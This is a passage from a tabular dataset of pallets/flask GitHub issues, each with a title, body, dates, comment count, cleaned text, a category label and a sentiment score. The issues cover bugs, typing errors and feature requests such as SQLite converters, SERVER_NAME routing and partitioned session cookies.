The `DeprecationWarning` is documented in the [3.12 release](https://docs.python.org/3/whatsnew/3.12.html): '[default adapters and converters](https://docs.python.org/3/library/sqlite3.html#sqlite3-default-converters) are now deprecated. Instead, use the [Adapter and converter recipes](https://docs.python.org/3/library/sqlite3.html#sqlite3-adapter-converter-recipes) and tailor them to your needs.' Copy-pasting blindly the recipes in `tests/conftest.py`, `flaskr/__init__.py` and `flaskr/db.py` does not fix the errors.

The errors can be fixed by adding thoses lines in conftest.py:
```python
def convert_timestamp(val):
    """"""Convert Unix epoch timestamp to datetime.dateti... [TRUNCATED]",docs,2024-08-21 16:38:58+00:00,2024-11-02 01:07:02+00:00,7,docs,72.3528,test failures in tutorial with python the tests runned with works with python and not in how to reproduce in both cases the webservice runs properly with however running the tests show different results in the tests are green in virtualenv there is failures and green the failures are due to a which becomes an error the full output is provided at the end of the bug report the is documented in the release default adapters and converters are now deprecated instead use the adapter and converter recipes and tailor them to your needs copy pasting blindly the recipes in and does not fix the errors the errors can be fixed by adding thoses lines in conftest py python def convert timestamp val convert unix epoch timestamp to datetime dateti truncated,documentation,-0.9192
pallets/flask,2475298203,test_helpers.py.test_open_resource_with_encoding function attribute error,"the function test_open_resource_with_encoding, sends encoding arguemnt to app.open_resource() function. the open_resource function doesnt has any enoding parameter in it's signature.

- Python version: 3.11.5

- Flask version: current
",,2024-08-20 10:32:55+00:00,2024-08-20 14:23:33+00:00,2,nan,0.1602,test helpers py test open resource with encoding function attribute error the function test open resource with encoding sends encoding arguemnt to app open resource function the open resource function doesnt has any enoding parameter in it s signature python version flask version current,bug,-0.2263
pallets/flask,2467499893,Revisit SERVER_NAME's impact on routing and external URL generation,"#998 was a discussion regarding the impact the `SERVER_NAME` setting has on an application.  IMO, there was consensus in that issue, including by @mitsuhiko, that `SERVER_NAME` being used both in routing and in URL generation was problematic.  

That issue was closed by https://github.com/pallets/flask/pull/2635, which made a change regarding subdomain matching.  However, IMO, it did not address the fundamental problem of `SERVER_NAME` impacting two disparate mechanisms in Flask.

I found two additional issues since #998 that have attempted to point out the problem with `SERVER_NAME`: #2813, #3465

In #2813, a minimal, complete, and verifiable example was requested and I have therefore prepared an [example gist that demonstrates the problem](https://gist.github.com/rsyring/c50a500a5d35787ef45c1ff1e78d8898).

The gist's third ""currently impossible"" test demonstrates that it's currently impossible to:

* Set `SERVER_NAME` so external URL generation works outside a request context with only an app context; and
* Have the app respond properly to multiple host names. 

My particular use case currently is that I need `SERVER_NAME` set so external URLs will be created accurately in distributed tasks where no web request is present.  Additionally, I need the app to respond to multiple host names 1) the canonical URL the public uses; and 2) the IP address based URL our load balancer uses for health checks.

IMO, `SERVER_NAME` should be deprecated and two new settings sh... [TRUNCATED]",,2024-08-15 06:31:40+00:00,2024-11-12 18:13:40+00:00,12,nan,89.4875,revisit server name s impact on routing and external url generation was a discussion regarding the impact the setting has on an application imo there was consensus in that issue including by mitsuhiko that being used both in routing and in url generation was problematic that issue was closed by which made a change regarding subdomain matching however imo it did not address the fundamental problem of impacting two disparate mechanisms in flask i found two additional issues since that have attempted to point out the problem with in a minimal complete and verifiable example was requested and i have therefore prepared an example gist that demonstrates the problem the gist s third currently impossible test demonstrates that it s currently impossible to set so external url generation works outside a request context with only an app context and have the app respond properly to multiple host names my particular use case currently is that i need set so external urls will be created accurately in distributed tasks where no web request is present additionally i need the app to respond to multiple host names the canonical url the public uses and the ip address based url our load balancer uses for health checks imo should be deprecated and two new settings sh truncated,others,-0.8519
pallets/flask,2451927450,Pyright Type Errors,"We have a number of various Pyright typing errors.

Environment:

- Python version: `3.12`
- Flask version: `3.1.0`
",,2024-08-07 00:56:36+00:00,2024-10-24 21:55:10+00:00,1,nan,78.874,pyright type errors we have a number of various pyright typing errors environment python version flask version,bug,-0.5423
pallets/flask,2451872239,Pyright type errors: `src/flask/helpers.py`,"Pyright reports type errors for `src/flask/helpers.py`:

```
flask/src/flask/helpers.py
  flask/src/flask/helpers.py:590:27 - error: Cannot access attribute ""get_filename"" for class ""Loader""
    Attribute ""get_filename"" is unknown (reportAttributeAccessIssue)
```

Command which was run:

```shell
.venv/bin/pyright --pythonpath .venv/bin/python3 --project pyproject.toml
```

Environment:

- Python version: `3.12`
- Flask version: `3.1.0`
",,2024-08-07 00:02:58+00:00,2024-08-07 00:30:20+00:00,0,nan,0.019,pyright type errors pyright reports type errors for command which was run environment python version flask version,bug,-0.5859
pallets/flask,2451835935,Pyright type errors: `src/flask/blueprint.py`,"Pyright reports type errors for `src/flask/blueprint.py`:

```
flask/src/flask/blueprints.py
  flask/src/flask/blueprints.py:126:20 - error: Expression of type ""BufferedReader"" is incompatible with return type ""IO[AnyStr@open_resource]""
    ""BufferedReader"" is incompatible with ""IO[AnyStr@open_resource]""
      Type parameter ""AnyStr@IO"" is invariant, but ""bytes"" is not the same as ""AnyStr@open_resource"" (reportReturnType)
```

Command which was run:

```shell
.venv/bin/pyright --pythonpath .venv/bin/python3 --project pyproject.toml
```

Environment:

- Python version: `3.12`
- Flask version: `3.1.0`
",,2024-08-06 23:17:47+00:00,2024-08-07 00:30:10+00:00,0,nan,0.0503,pyright type errors pyright reports type errors for command which was run environment python version flask version,bug,-0.5859
pallets/flask,2451814425,Pyright type errors: `src/flask/app.py`,"Pyright reports type errors for `src/flask/app.py`:

```
flask/src/flask/app.py
  flask/src/flask/app.py:352:20 - error: Expression of type ""BufferedReader"" is incompatible with return type ""IO[AnyStr@open_resource]""
    ""BufferedReader"" is incompatible with ""IO[AnyStr@open_resource]""
      Type parameter ""AnyStr@IO"" is invariant, but ""bytes"" is not the same as ""AnyStr@open_resource"" (reportReturnType)
  flask/src/flask/app.py:1178:21 - error: Expression with type ""Tuple[ResponseValue, HeadersValue] | Tuple[ResponseValue, int] | Tuple[ResponseValue, int, HeadersValue]"" cannot be assigned to target tuple
    Type ""Tuple[ResponseValue, int, HeadersValue]"" is incompatible with target tuple
      Tuple size mismatch; expected 2 but received 3 (reportAssignmentType)
  flask/src/flask/app.py:1205:28 - error: Argument of type ""HeadersValue | int | None"" cannot be assigned to parameter ""status"" of type ""int | str | HTTPStatus | None"" in function ""__init__"" (reportArgumentType)
  flask/src/flask/app.py:1240:29 - error: Cannot assign to attribute ""status"" for class ""Response"" (reportAttributeAccessIssue)
  flask/src/flask/app.py:1242:34 - error: Cannot assign to attribute ""status_code"" for class ""Response""
    Type ""HeadersValue | int"" is incompatible with type ""int""
      ""Mapping[str, HeaderValue]"" is incompatible with ""int"" (reportAttributeAccessIssue)
```

Command which was run:

```shell
source .venv/bin/activate
pyright
```

Environment:

- Python versio... [TRUNCATED]",,2024-08-06 22:52:48+00:00,2024-08-07 00:29:26+00:00,3,nan,0.0671,pyright type errors pyright reports type errors for command which was run environment python versio truncated,bug,-0.5859
pallets/flask,2439091841,`pyright` type checking seems to be unused. `mypy` still being used.,"We added `pyright` in 3.0.3 (see: https://github.com/pallets/flask/pull/5457), but `mypy` is still being used for type checking https://github.com/pallets/flask/blob/main/tox.ini#L29-L32, and `pyright` is not.

If this was an intentional change of type checkers, then would expect that `mypy` be completely removed, and `pyright` be the command run in `tox typing`.

It should be noted, however, that running `pyright` yields 90 errors (71 tests/19 src). Is there an upgrade path or was this an oversight?

Environment:

- Python version:
- 3.12
- Flask version:
- 3.0.3
",,2024-07-31 04:29:38+00:00,2024-10-24 21:55:35+00:00,1,nan,85.7264,type checking seems to be unused still being used we added in see but is still being used for type checking and is not if this was an intentional change of type checkers then would expect that be completely removed and be the command run in it should be noted however that running yields errors tests src is there an upgrade path or was this an oversight environment python version flask version,others,-0.4767
pallets/flask,2415608770,Encountering Jinja2 SyntaxError after adding another css file,"I've been encountering this confusing error; which is Jinja2.exceptions.TemplateSyntaxError: expected token ',', got 'string'.
This only happened after I added another css file to my html script. But previously, it worked fine. 

Here are the previous errors i've encountered regarding this issue:

```
<link rel=""icon"" href=""{{ url_for('static', filename='images/favicon.png') }}"">
jinja2.exceptions.TemplateSyntaxError: expected token ',', got 'static'
    <li onclick=""redirectUser('/homepage')"">Home</li>
jinja2.exceptions.TemplateSyntaxError: expected token ',', got 'string'
```

Environment:

- Python version: 3.12.4
- Flask version: 3.0.3
",,2024-07-18 07:33:00+00:00,2024-07-18 07:45:48+00:00,1,nan,0.0089,encountering jinja syntaxerror after adding another css file i ve been encountering this confusing error which is jinja exceptions templatesyntaxerror expected token got string this only happened after i added another css file to my html script but previously it worked fine here are the previous errors i ve encountered regarding this issue environment python version flask version,bug,-0.5365
pallets/flask,2405925770,"""catch-all"" endpoint doesn't work with `static_url_path=""/""`","### Catch all endpoint for SPA from [docs](https://flask.palletsprojects.com/en/2.2.x/patterns/singlepageapplications/) doesn't work with `static_url_path=""/""` or `static_url_path=""""`

### Context

I'm using Flask to serve React SPA with client-side routing. 
Flask worked perfectly, until I added images and decided to serve it from `static/` folder.

### Expected:

I can serve images from `static/` folder. 
I can reload a non-root page and Flask won't respond with `404 Not Found`.

### Current:

I can navigate to `/path` or `/path1/path2` and etc. with no problems, but when I reload any non-root page the Flask gives me `404 Not Found` and the catch-all route didn't trigger.


### Example:

**`folder structure`**
```
.
├── __init__.py
└── main/
    ├── static/
    │   ├── image1.jpg
    │   ├── image2.jpg
    │   ├── index.html
    │   └── main.js
    ├── __init__.py
    └── routes.py
```

**`./__init__.py`**
```python
def create_app(config_class=Config) -> Flask:
  app = Flask(__name__)
  from .main import bp as main_bp
  app.register_blueprint(main_bp)
  return app
```

**`./main/__init__.py`**
```python
from flask import Blueprint

bp = Blueprint(""main"", __name__, static_folder=""static"", static_url_path=""/"")

from .main import routes
``` 

**`./main/routes.py`**
```python
from .main import bp

@bp.route(""/"", defaults={""path"": """"})
@bp.route(""/<path:path>"")
def catch_all(path):
    return bp.send_static_file(""index.ht... [TRUNCATED]",,2024-07-12 16:07:14+00:00,2024-07-14 18:17:04+00:00,1,nan,2.0902,catch all endpoint doesn t work with catch all endpoint for spa from docs doesn t work with or context i m using flask to serve react spa with client side routing flask worked perfectly until i added images and decided to serve it from folder expected i can serve images from folder i can reload a non root page and flask won t respond with current i can navigate to or and etc with no problems but when i reload any non root page the flask gives me and the catch all route didn t trigger example python from main import bp bp route defaults path bp route def catch all path return bp send static file index ht truncated,others,0.3612
pallets/flask,2399274074,Update Werkzeug to 3.0.3,"Update Werkzeug to 3.0.3 to address vulnerability found in Werkzeug debugger.
https://werkzeug.palletsprojects.com/en/3.0.x/changes/

Updating Werkzeug to version 3.0.3 fixes the debugger vulnerability.

",,2024-07-09 21:45:29+00:00,2024-07-09 22:04:33+00:00,1,nan,0.0132,update werkzeug to update werkzeug to to address vulnerability found in werkzeug debugger updating werkzeug to version fixes the debugger vulnerability,others,-0.4215
pallets/flask,2396364175,false redirect from /name to /name/ causes 404,"<!--
route name redirects to /name/ when the canonical name is /name
this causes the page to be 404 Not Found, since when using /name as a canonical name, / isn't avaliable
-->

<!--
how to replicate:
download flask on ubuntu 24.04 using the command:
sudo apt install python3-flask

run the code from the terminal:
flask --app my_app run --debug
in this order:
1). first using @app.route(""/hello"")
2). then using @app.route(""/hello/"")
3). then using @app.route(""/hello"")
the page should now autocomplete /hello to /hello/

example end code picture: 
![Screenshot from 2024-07-08 22-01-58](https://github.com/pallets/flask/assets/87893493/1a91c062-4739-497d-8446-32089db91017)
-->

<!--
after changing back the code to @app.route(""/name"") the code should have not autocompleted the url to /name/
-->

Environment:

- Python version: 3.12.3
- Flask version: 3.0.2
",,2024-07-08 19:10:37+00:00,2024-07-08 19:29:59+00:00,1,nan,0.0134,false redirect from name to name causes route name redirects to name when the canonical name is name this causes the page to be not found since when using name as a canonical name isn t avaliable how to replicate download flask on ubuntu using the command sudo apt install python flask run the code from the terminal flask app my app run debug in this order first using app route hello then using app route hello then using app route hello the page should now autocomplete hello to hello example end code picture screenshot from after changing back the code to app route name the code should have not autocompleted the url to name environment python version flask version,others,0.0
pallets/flask,2393797634,Flask incorrectly parses chained query parameters ,"When accessing the /test route with both category and location query parameters (http://localhost:5000/test?category=fish&location=water), Flask correctly parses category but ignores location.

### Steps to Reproduce
Access the URL http://localhost:5000/test?category=fish&location=water.
Expected behavior: Both category and location parameters should be correctly parsed by Flask.
Actual behavior: Flask parses category correctly (""excavator""), but location is ignored.

```(python)
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route(""/test"")
def test():
    category = request.args.get(""category"")
    location = request.args.get(""location"")
    return {""category"": category, ""location"": location}

if __name__ == ""__main__"":
    app.run(debug=True)
```

Expected:
```(json)
{
    ""category"": ""fish"",
    ""location"": ""water""
}
```

Got:
```(json)
{
    ""category"": ""fish"",
    ""location"": null
}
```
### Environment:

- Python version: 3.8.10
- Flask version: 3.0.3
",,2024-07-07 00:27:03+00:00,2024-07-07 01:19:13+00:00,1,nan,0.0362,flask incorrectly parses chained query parameters when accessing the test route with both category and location query parameters flask correctly parses category but ignores location access the url both category and location parameters should be correctly parsed by flask flask parses category correctly excavator but location is ignored expected got environment python version flask version,others,-0.6808
pallets/flask,2383749248,Handler `before_request` doesn't work as expected.,"I want to implement CORS processing without any third party libraries (like flask-cors). My desire is simple: assign multiple headers to any response, access and process the pre-flight OPTIONS request.

```python
class CORSMiddleware:
    def before_request(self):
        if request.method == ""OPTIONS"":
            response = jsonify({""status"": ""ok""})
            return self.process_response(response)

    def after_request(self, response):
        return self.process_response(response)

    # noinspection PyMethodMayBeStatic
    def process_response(self, response):
        if response:
            response.headers.add(""Access-Control-Allow-Origin"", ""*"")
            response.headers.add(""Access-Control-Allow-Headers"", ""Content-Type, Authorization"")
            response.headers.add(""Access-Control-Allow-Methods"", ""GET, POST, OPTIONS, DELETE, PUT"")
        return response

    def register(self, app: Flask):
        app.before_request(self.before_request)
        app.after_request(self.after_request)
```

It can be tested like this

```py

# Note: helper function to reduce view logic
def add_cors_headers(response):
    response.headers.add(""Access-Control-Allow-Origin"", ""*"")
    response.headers.add(""Access-Control-Allow-Headers"", ""Content-Type,Authorization"")
    response.headers.add(""Access-Control-Allow-Methods"", ""GET,POST,OPTIONS,DELETE,PUT"")
    return response


user_blueprint = Blueprint(""user"", __name__, url_prefix=""/users"")


@u... [TRUNCATED]",,2024-07-01 12:41:52+00:00,2024-07-01 15:51:19+00:00,0,nan,0.1316,handler doesn t work as expected i want to implement cors processing without any third party libraries like flask cors my desire is simple assign multiple headers to any response access and process the pre flight options request it can be tested like this py note helper function to reduce view logic def add cors headers response response headers add access control allow origin response headers add access control allow headers content type authorization response headers add access control allow methods get post options delete put return response user blueprint blueprint user name url prefix users u truncated,feature,0.8966
pallets/flask,2380689077,Document behaviour of __init__ in cli.prepare_import(),"The code in [cli](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L215) is a bit confusing: if you have an __init__ file in the project it causes the cli to step out of the directory and import it from outside the directory.

E.h. I was working in directory /Users/visgean/p/social-flask/chapter2/models_app and the flask run command tried to import the app as chapter2.models_app.app, which did not work:

```
Error: While importing 'chapter2.models_app.app', an ImportError was raised:
```

I had to dig into the code to see that the solution is to delete the init file, apparently i am not the only one: https://stackoverflow.com/questions/70835630/while-importing-myapp-app-an-import-error-was-raised


I think this feature is a bit undcomented and to be honest I am not sure what the goal is. If I run flask run in a directory I dont want it to work at all with the parent directory. E.g. flask should only be aware of the current directory.

Proposed fixes: 
- Specifically mention this behavior on start e.g. ""importing app as chapter2.models_app.app due to presence of __init__.py""
- Mention this behaviour in docs somewhere
- Remove this behavior unless there is a clear need for it. ",,2024-06-28 15:32:58+00:00,2024-06-28 16:32:22+00:00,4,nan,0.0412,document behaviour of init in cli prepare import the code in cli is a bit confusing if you have an init file in the project it causes the cli to step out of the directory and import it from outside the directory e h i was working in directory users visgean p social flask chapter models app and the flask run command tried to import the app as chapter models app app which did not work i had to dig into the code to see that the solution is to delete the init file apparently i am not the only one i think this feature is a bit undcomented and to be honest i am not sure what the goal is if i run flask run in a directory i dont want it to work at all with the parent directory e g flask should only be aware of the current directory proposed fixes specifically mention this behavior on start e g importing app as chapter models app app due to presence of init py mention this behaviour in docs somewhere remove this behavior unless there is a clear need for it,documentation,0.6269
pallets/flask,2371416285,get 请求，定义参数类型的问题,"为什么在 get 请求中，设置某个参数类型为 int 类型。
![image](https://github.com/pallets/flask/assets/38832100/6f2ad22b-63b1-4ea1-8567-975d146c061c)


而在浏览器这样请求时，却报 404  错误。
![image](https://github.com/pallets/flask/assets/38832100/0c28c5c7-bb27-4669-b877-c90fb7b0e68a)


Flaks 版本
![image](https://github.com/pallets/flask/assets/38832100/244e1622-2ea0-42ef-98f9-7710c55d83f9)

",,2024-06-25 01:27:43+00:00,2024-06-25 04:45:17+00:00,0,nan,0.1372,get get int image image flaks image,others,0.0
pallets/flask,2364798068,allow setting encoding in open_resource(),"This is a duplicate of #1740 &mdash; that may have been closed for lack of a clear rationale, however, and I'd like to suggest it again with the following reasoning.

The documentation currently gives this example for using `open_resource()`:

```python
with app.open_resource(""schema.sql"") as f:
    conn.executescript(f.read())
```

On Windows, however, this can fail to open a file encoded in UTF-8, which most are these days, and safer code looks like this:

```python
with app.open_resource(""schema.sql"", mode=""rb"") as f:
   conn.executescript(f.read().decode(""utf-8""))  # type: ignore [attr-defined]
```

(The type comment is needed to prevent mypy from complaining about `f.read()` possibly being a string with no `.decode()` method, as it can't tell that the file was opened in 'rb' mode.)

It would be cleaner and more flexible to be able to write:

```python
with app.open_resource(""schema.sql"", encoding=""utf-8"") as f:
   conn.executescript(f.read())
```
",,2024-06-20 16:05:45+00:00,2024-07-11 02:16:47+00:00,0,nan,20.4243,allow setting encoding in open resource this is a duplicate of mdash that may have been closed for lack of a clear rationale however and i d like to suggest it again with the following reasoning the documentation currently gives this example for using on windows however this can fail to open a file encoded in utf which most are these days and safer code looks like this the type comment is needed to prevent mypy from complaining about possibly being a string with no method as it can t tell that the file was opened in rb mode it would be cleaner and more flexible to be able to write,others,0.7178
pallets/flask,2330456902,request parsing special parameters,"I want to know when i send ""http://127.0.0.1:5000/?name=xiaojiann+&age=16"" , why request.query_string can get b'name=xiaojiann+' but request.arg get ImmutableMultiDict([('name', 'xiaojiann ')]), request.args use blank space replace +

<img width=""739"" alt=""image"" src=""https://github.com/pallets/flask/assets/61368566/0a58880c-a70b-4455-a949-4af5ff55ca5b"">

I try flask version 2.0.3 , 3.0.3 and python version 3.6 , 3.10",,2024-06-03 08:06:41+00:00,2024-06-03 12:08:25+00:00,1,nan,0.1679,request parsing special parameters i want to know when i send why request query string can get b name xiaojiann but request arg get immutablemultidict name xiaojiann request args use blank space replace img width alt image src i try flask version and python version,feature,0.25
pallets/flask,2326351961,Avoid opening sessions for static resources,"Every HTTP request currently results in an HTTP session being opened via `SessionInterface.open_session`. When a server-side session implementation is used, like [Flask-Session](https://flask-session.readthedocs.io/), this results in storage writes to update the expiry date. Requests for static resources are also subject to this, which can degrade performance.

It would be useful to easily opt static resources out of sessions. Currently this is only possible with a custom session interface, for example:

```python
class StaticRequestFilteringSessionInterface(SessionInterface):
    def __init__(self, app):
        self._delegate = app.session_interface
        self._exclude_path_prefix = app.static_url_path + ""/""

    def open_session(self, app, request):
        if request.path.startswith(self._exclude_path_prefix):
            return self.make_null_session(app)

        return self._delegate.open_session(app, request)

    def save_session(self, app, session, response):
        return self._delegate.save_session(app, session, response)
```

Configured with:

```python
from flask_session import Session

...
Session(app)
app.session_interface = StaticRequestFilteringSessionInterface(app)
```",,2024-05-30 18:55:26+00:00,2024-05-30 18:59:37+00:00,4,nan,0.0029,avoid opening sessions for static resources every http request currently results in an http session being opened via when a server side session implementation is used like flask session this results in storage writes to update the expiry date requests for static resources are also subject to this which can degrade performance it would be useful to easily opt static resources out of sessions currently this is only possible with a custom session interface for example configured with,others,0.4019
pallets/flask,2318611427,Flask ignores multiple slashes at the beginning of the path,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.8.14
- Flask version: 2.3.2

I have a paths with prefix /admin. if you follow a path containing this prefix, proxy  before app see this and asks mTLS auth. But when i follow this path with multiple slashes at the beginning (ex //admin, ///admin) proxy ignore this, but flask think that this is the same path as /admin and return values, client must not see. I think this should not work like this
",,2024-05-27 08:49:39+00:00,2024-05-27 16:05:42+00:00,1,nan,0.3028,flask ignores multiple slashes at the beginning of the path this issue tracker is a tool to address bugs in flask itself please use github discussions or the pallets discord for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version i have a paths with prefix admin if you follow a path containing this prefix proxy before app see this and asks mtls auth but when i follow this path with multiple slashes at the beginning ex admin admin proxy ignore this but flask think that this is the same path as admin and return values client must not see i think this should not work like this,others,-0.8366
pallets/flask,2298513020,send_from_directory unclosed file error,"When warnings are set to error, pytest claims there is an unclosed file when `send_from_directory` is called.  I assume this indicates there is a resource leak.  Even if Python garbage collects this at some point, this causes issues with testing flask applications that use send_from_directory with warnings as errors enabled.

1. Create app

app.py:
```
from flask import Flask, send_from_directory
app = Flask(__name__)

@app.route('/<path:name>')
def download_resources(name):
    return send_from_directory('resources', name)
```


2. Add `resources/file.txt`

```bash
mkdir resources
echo file > resources/file.txt
```


3. Add tests

tests/conftest.py:
```
import pytest

from app import app as flask_app

@pytest.fixture
def app():
    yield flask_app

@pytest.fixture
def client(app):
    return app.test_client()
```

tests/test_app.py:
```
def test_download(app, client):
    res = client.get('/file.txt')
    assert res.status_code == 200
```

4. Run tests

Execute `pytest -Werror`.

The results ([results.txt](https://github.com/pallets/flask/files/15325158/results.txt)) include the following error:
` ResourceWarning: unclosed file <_io.BufferedReader name='/flask-test/resources/file.txt'>`

Expected Results:

Execute `pytest` without warnings as errors.  This is the expected result:

```
============================= test session starts ==============================
platform darwin -- Python 3.11.9, pytest-8.2.0, plug... [TRUNCATED]",,2024-05-15 18:03:38+00:00,2024-05-15 18:31:53+00:00,3,nan,0.0196,send from directory unclosed file error when warnings are set to error pytest claims there is an unclosed file when is called i assume this indicates there is a resource leak even if python garbage collects this at some point this causes issues with testing flask applications that use send from directory with warnings as errors enabled create app app py add add tests tests conftest py tests test app py run tests execute the results results txt include the following error expected results execute without warnings as errors this is the expected result test session starts platform darwin python pytest plug truncated,bug,-0.9565
pallets/flask,2282676733,Change of query string encoding behaviour in flask 3.0,"Flask until 2.0 decoded %-encoded entities from query strings, while it seems that Flask 3.0 does not.

Given this `print_args.py`:

```py
from flask import Flask, request

app = Flask(__name__)


@app.route(""/"")
def hello_world():
    return request.args.get(""test"")
```

Ok Flask 2:

```
$ flask --version
Python 3.11.2
Flask 2.2.2
Werkzeug 2.2.2
$ flask --app print_args run
...
curl http://127.0.0.1:5000?test=%A0+++a
�   a
```

On Flask 3:

```
$ flask --version
Python 3.11.9
Flask 3.0.3
Werkzeug 3.0.2
$ flask --app print_args run
...
curl http://127.0.0.1:5000?test=%A0+++
%A0   a
```

While I understand  %A0 is not a valid unicode sequence, this is a change of behaviour may be worth documenting.",,2024-05-07 08:56:15+00:00,2024-05-07 13:31:48+00:00,1,nan,0.1914,change of query string encoding behaviour in flask flask until decoded encoded entities from query strings while it seems that flask does not given this ok flask on flask while i understand a is not a valid unicode sequence this is a change of behaviour may be worth documenting,others,0.5267
pallets/flask,2271964542,Add support for partitioned session cookies,"Related issue with historical context: https://github.com/pallets/werkzeug/issues/2797

Partitioned cookies are now supported in Werkzeug: https://github.com/pallets/werkzeug/pull/2855

It would be nice to have first-class support for the flask session cookie using the `Partitioned` flag to provide support for Chrome's CHIPS and allow sessions to continue to work within iframes.

Example usage might be:

```python
app.config['SESSION_COOKIE_SAMESITE'] = ""None""
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_PARTITIONED'] = True # add this?
```
",,2024-04-30 16:22:37+00:00,2024-11-01 23:26:39+00:00,4,nan,185.2945,add support for partitioned session cookies related issue with historical context partitioned cookies are now supported in werkzeug it would be nice to have first class support for the flask session cookie using the flag to provide support for chrome s chips and allow sessions to continue to work within iframes example usage might be,help,0.9201
pallets/flask,2267472618,Failing to start (due to port unavailable) cannot be directly determined by the current python api,"I believe that failing to start (due to the designated port being unavailable) cannot be directly determined by the current python api, if not mistaken.

When the port specified for startup is taken, a python code starting the server with Werkzeug cannot know if startup has failed, since no exception is raised, and no api is there to check on its status, while the following is written to stderr:

> Address already in use
> Port 5000 is in use by another program. Either identify and stop that program, or start the server with a different port.

example code:

```python
from flask import Flask
from werkzeug.serving import run_simple

app = Flask(__name__)

try:
    run_simple('127.0.0.1', 5000, app)  
except Exception as e:
    start_success = False
```

Even though traditionally most web servers frameworks did not touch up their startup and shutdown usability from code to those levels, I think it would be implied to provide the caller with this basic level of transparency being robustly enabled for them. Apologies in advance if I've missed any obvious way. 

# Environment:

- Python version: 3.10.13
- Flask version: 3.0.3
- Platform: Ubuntu 22.04

# Mildly related on the same theme of api startup and shutdown: 
https://stackoverflow.com/questions/72824420/how-to-shutdown-flask-server",,2024-04-28 10:18:02+00:00,2024-04-28 15:13:06+00:00,4,nan,0.2049,failing to start due to port unavailable cannot be directly determined by the current python api i believe that failing to start due to the designated port being unavailable cannot be directly determined by the current python api if not mistaken when the port specified for startup is taken a python code starting the server with werkzeug cannot know if startup has failed since no exception is raised and no api is there to check on its status while the following is written to stderr address already in use port is in use by another program either identify and stop that program or start the server with a different port example code even though traditionally most web servers frameworks did not touch up their startup and shutdown usability from code to those levels i think it would be implied to provide the caller with this basic level of transparency being robustly enabled for them apologies in advance if i ve missed any obvious way environment python version flask version platform ubuntu mildly related on the same theme of api startup and shutdown,others,-0.9563
pallets/flask,2234023421,Conflicting cookies shenanigans with `SESSION_COOKIE_DOMAIN`,"Hi,
I encountered a strange behavior of flask regarding cookies when the value of `SESSION_COOKIE_DOMAIN` is updated after some cookies have been set.
I observed this with Python 3.11, Flask 3.0.2 and Werkzeug 3.0.2 with both Firefox 124 and Chrome 123.
First of all, I could not reproduce the issue when serving on http://localhost:5000, so you might need to add `127.0.0.1 flask.localhost` in your `/etc/hosts` to be able to reproduce this, and access the app from http://flask.localhost:5000.

0. Put the following snippet in an `app.py` and run it with `env FLASK_DEBUG=1 FLASK_APP=app flask run`. 
```python
import flask
import base64
app = flask.Flask(__name__)
app.config[""SECRET_KEY""] = ""super secret""
app.config[""SERVER_NAME""] = ""flask.localhost:5000""
app.config[""SESSION_COOKIE_DOMAIN""] = app.config[""SERVER_NAME""]

@app.route(""/"", methods=(""GET"", ""POST""))
def index():
    if flask.request.form:
        flask.session[""value""] = flask.request.form[""value""]

    session_cookies = [
        base64.b64decode(cookie.split(""."")[0]).decode()
        for cookie in flask.request.cookies.getlist(""session"")
    ]
    return (
        '<form action=""/"" method=""post""><input name=""value""><input type=""submit""></form""><br>\n'
        + f'value {flask.session.get(""value"")}<br>\n'
        + ""cookies: "" + "" "".join(session_cookies)
    )
```

2. **Open http://flask.localhost:5000, clean the cookies if existing.**
`flask.session` is empty.
3. **Write `foo` in the for... [TRUNCATED]",,2024-04-09 17:50:48+00:00,2024-05-25 17:27:14+00:00,7,nan,45.9836,conflicting cookies shenanigans with hi i encountered a strange behavior of flask regarding cookies when the value of is updated after some cookies have been set i observed this with python flask and werkzeug with both firefox and chrome first of all i could not reproduce the issue when serving on so you might need to add in your to be able to reproduce this and access the app from put the following snippet in an and run it with open clean the cookies if existing is empty write in the for truncated,others,-0.0516
pallets/flask,2229507381,Calling `flash` after `get_flashed_messages` fails ,"In a single request, do this:
- call `get_flashed_messages()`
- call `flash(...)`
- call `get_flashed_messages()` again, observe that it returns the empty list, despite a message just having been flashed.

After the first call to `get_flashed_messages()`, `request_ctx.flashes` is  `[]`, which appears to send this code in `get_flashed_messages` off the rails:

https://github.com/pallets/flask/blob/98a7f9fcf09fce5d32bf25e7f917c1c3026719d1/src/flask/helpers.py#L364-L367

Environment:

- Python version: 3.11
- Flask version: 3.0.2
",,2024-04-07 01:37:11+00:00,2024-04-07 18:57:43+00:00,3,nan,0.7226,calling after fails in a single request do this call call call again observe that it returns the empty list despite a message just having been flashed after the first call to is which appears to send this code in off the rails environment python version flask version,others,-0.5574
pallets/flask,2229218373,"Unable to start flask3.0 app on a minimal implementation with `invalid syntax. Perhaps you forgot a comma? (scaffold.py, line 295)`","Simply create a minimal flask3.0 app as follow and execute it, it will fail instantly on importing `from flask import Flask`:
```python
from flask import Flask

app = Flask(__name__)

@app.route(""/"")
def hello_world():
    return ""<p>Hello, World!</p>""

app.run()
```

Error trace:
```text
Traceback (most recent call last):
  File ""/home/lazydreamer/anaconda3/envs/test_env/lib/python3.11/runpy.py"", line 198, in _run_module_as_main
    return _run_code(code, main_globals, None,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/lazydreamer/anaconda3/envs/test_env/lib/python3.11/runpy.py"", line 88, in _run_code
    exec(code, run_globals)
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/adapter/../../debugpy/launcher/../../debugpy/__main__.py"", line 39, in <module>
    cli.main()
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/adapter/../../debugpy/launcher/../../debugpy/../debugpy/server/cli.py"", line 430, in main
    run()
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/adapter/../../debugpy/launcher/../../debugpy/../debugpy/server/cli.py"", line 284, in run_file
